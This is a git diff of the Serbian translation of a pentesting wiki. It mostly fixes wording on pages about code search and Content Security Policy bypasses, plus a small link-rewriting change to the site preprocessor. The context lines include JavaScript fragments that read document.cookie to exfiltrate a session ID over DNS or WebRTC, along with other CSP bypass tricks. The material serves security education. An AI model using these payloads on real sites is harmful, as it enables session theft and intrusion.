diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index af5949449..5d070c39f 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -78,6 +78,9 @@ def ref(matchobj): sys.exit(1) + if href.endswith("/README.md"): + href = href.replace("/README.md", "/index.html") + template = f"""{title}""" # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"}) diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 720190bb0..ac033e7a4 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -4,7 +4,7 @@ Cilj ove stranice je da nabroji **platforme koje omogućavaju pretragu koda** (literalno ili regex) u hiljadama/milionima repozitorijuma na jednoj ili više platformi. -Ovo pomaže u nekoliko slučajeva da **pronađete provale informacija** ili obrasce **ranjivosti**. +Ovo pomaže u nekoliko slučajeva da **pronađete provale informacija** ili **uzorke ranjivosti**. - [**Sourcebot**](https://www.sourcebot.dev/): Alat za pretragu otvorenog koda. Indeksirajte i pretražujte hiljade vaših repozitorijuma kroz moderan veb interfejs. - [**SourceGraph**](https://sourcegraph.com/search): Pretražujte u milionima repozitorijuma. Postoji besplatna verzija i verzija za preduzeća (sa 15 dana besplatno). Podržava regex. diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 76f10d825..e3747ae54 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,11 +4,11 @@ ## Šta je CSP -Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`. +Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`. -Implementacija CSP se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu. +Implementacija CSP se vrši putem **odgovarajućih header-a** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu. -- Implementirano putem odgovarajućeg zaglavlja: +- Implementirano putem odgovarajućeg header-a: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -39,9 +39,9 @@ object-src 'none'; ``` ### Direktive -- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događajima ili XSLT stilovi. +- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove. - **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne. -- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaj u ugnježdenim okvirima. +- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima. - **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest. - **frame-src**: Ograničava URL-ove za okvire. - **frame-ancestors**: Specifikuje koji izvori mogu ugnježditi trenutnu stranicu, primenljivo na elemente kao što su ``, ` // The bot will load an URL with the payload @@ -548,7 +548,7 @@ Za više informacija [**proverite originalni izveštaj ovde**](https://socradar. ### CSP bypass by restricting CSP -U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**. +U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**. Možete **ograničiti CSP iframe-a** sa **`csp`** atributom: ```html @@ -577,13 +577,13 @@ Za primer [**proverite ovaj CTF izveštaj**](https://github.com/maple3142/My-CTF document.querySelector("DIV").innerHTML = '' ``` -### Curjenje Informacija sa CSP i Iframe +### Curjenje informacija sa CSP i Iframe - `iframe` se kreira koji upućuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a. - Ovaj URL zatim preusmerava na tajni URL (npr., `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a. -- Slušanjem `securitypolicyviolation` događaja, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-a, curi tajni domen na koji je inicijalni URL preusmerio. +- Slušanjem `securitypolicyviolation` događaja, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-ja, curi tajni domen na koji je inicijalni URL preusmerio. -Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa iframovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja. +Zanimljivo je napomenuti da pretraživači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa iframovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja. Druga tehnika uključuje iskorišćavanje samog CSP-a da se deducira tajni poddomen. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a da uključuje specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji pokazuje kako bi CSP mogao biti postavljen da olakša ovu metodu: ```markdown @@ -603,7 +603,7 @@ Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.c ### Preopterećenje PHP odgovora -PHP je poznat po tome što **bafuje odgovor do 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\ +PHP je poznat po tome što **bafuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\ Tada, tehnika se u suštini sastoji u **punjenju bafera odgovora upozorenjima** kako CSP header ne bi bio poslat. Ideja iz [**ovog izveštaja**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). @@ -619,7 +619,7 @@ a.document.body.innerHTML = `` -Možete zloupotrebiti ovo ponašanje da **izvršite exfiltraciju osetljivih informacija putem DNS zahteva**: +Možete zloupotrebiti ovo ponašanje da **izvršite eksfiltraciju osetljivih informacija putem DNS zahteva**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -688,7 +688,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -Još jedna opcija: +Druga opcija: ```javascript var pc = new RTCPeerConnection({ "iceServers":[